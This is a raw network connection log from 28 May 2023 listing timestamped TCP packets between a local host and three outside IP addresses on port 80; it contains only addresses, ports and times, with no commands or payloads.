May 28, 2023 10:42:52.752531052 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752563953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752572060 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752605915 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752614021 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752650023 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752659082 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752692938 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752700090 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752737045 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752746105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752779007 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752789021 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752821922 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752830029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752865076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752871037 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752907038 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752918005 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752949953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752959967 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752993107 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.753000975 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.753045082 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.753066063 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.753081083 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.753108025 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.753112078 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.753127098 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.753144979 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.753166914 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.753175020 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.753191948 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.753206968 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.753236055 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.759111881 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.944413900 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:52.944478035 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:52.944523096 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:52.944570065 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:52.944592953 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:52.944592953 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:52.944592953 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:52.944674015 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:53.028701067 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.028812885 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.028846979 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.028861046 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.028909922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.028909922 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.028909922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.028968096 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.037707090 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.037776947 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.037825108 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.037869930 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.037878036 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.037911892 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.037914038 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.037935019 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.037964106 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038008928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038036108 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038053989 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038100958 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038115978 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038139105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038152933 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038162947 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038199902 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038245916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038269043 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038291931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038300991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038341045 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038368940 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038388014 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038418055 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038434982 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038450956 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038480997 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038501024 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038527966 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038537025 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038573980 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038592100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038620949 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038636923 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038667917 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038685083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038713932 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038718939 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038760900 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038775921 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038847923 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038892984 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038938046 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038938999 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038964987 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.038985968 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.038992882 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039032936 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039056063 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039081097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039125919 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039143085 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039153099 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039191008 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039237976 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039283037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039283991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039283991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039283991 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039330959 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039345026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039383888 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039397001 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039431095 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039448977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039479017 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039490938 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039525986 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039539099 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039572001 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039588928 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039619923 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039639950 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039666891 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039700031 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039714098 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039719105 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039760113 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039767981 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039807081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039820910 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039854050 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039865971 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039900064 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039915085 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039947987 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.039957047 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.039993048 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040005922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040040016 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040049076 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040088892 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040100098 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040138960 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040153027 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040185928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040204048 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040232897 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040241003 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040301085 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040304899 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040350914 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040364027 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040396929 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040406942 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040443897 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040451050 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040489912 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040497065 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040538073 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040544033 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040584087 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040601015 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040631056 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040637970 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040678024 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040684938 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040724039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040731907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040776014 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040786028 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040822029 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040824890 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040868998 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040874004 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040915966 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040939093 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.040962934 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.040982008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041009903 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041017056 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041057110 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041064024 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041101933 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041112900 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041152000 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041182041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041196108 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041203022 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041243076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041255951 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041290045 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041313887 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041336060 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041338921 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041382074 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041392088 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041429043 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041439056 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041475058 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041482925 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041522026 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041529894 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041568041 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041584969 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041618109 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041649103 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041662931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041670084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041707039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041733027 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041750908 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041758060 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041795015 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041802883 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041840076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041843891 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041884899 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041889906 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.041929960 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041976929 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.041980982 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042021990 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042033911 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042066097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042074919 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042114019 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042159081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042169094 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042205095 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042212009 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042249918 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042295933 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042304039 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042340994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042354107 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042388916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042402029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042434931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042444944 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042481899 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042488098 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042530060 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042546988 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042568922 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042587042 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042614937 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042615891 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042663097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042674065 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042711020 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:53.042714119 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.042870998 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:53.242255926 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:53.242321014 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:53.242480993 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:53.288134098 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:53.503850937 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.503850937 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.520296097 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.520344019 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580454111 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580517054 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580564976 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580611944 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580657959 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580688000 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.580704927 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580753088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580761909 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.580800056 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580847025 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580857992 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.580894947 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580941916 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.580969095 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.580988884 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.581036091 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.581080914 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.581095934 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.581127882 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.581131935 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.581178904 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.581238031 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.581243038 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.581316948 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.581486940 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.585768938 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:53.622791052 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.622859001 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.622905970 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.622946978 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.622978926 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.622994900 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623028994 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623044014 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623090982 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623133898 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623157978 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623183966 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623214006 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623224020 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623270988 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623317003 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623332977 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623363972 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623372078 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623404026 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623450994 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623485088 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623507023 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623533010 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623534918 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623580933 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623625994 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623663902 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623683929 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623711109 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623725891 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623758078 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623805046 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623828888 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623851061 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623893023 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623908997 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.623939991 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.623984098 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624027967 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624037027 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.624074936 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624082088 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.624120951 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624165058 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624207973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624224901 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.624253035 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624258995 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.624325991 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624362946 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624407053 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624449968 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:53.624471903 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.624471903 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:53.624494076 CEST	80	49722	188.114.97.7	192.168.2.3
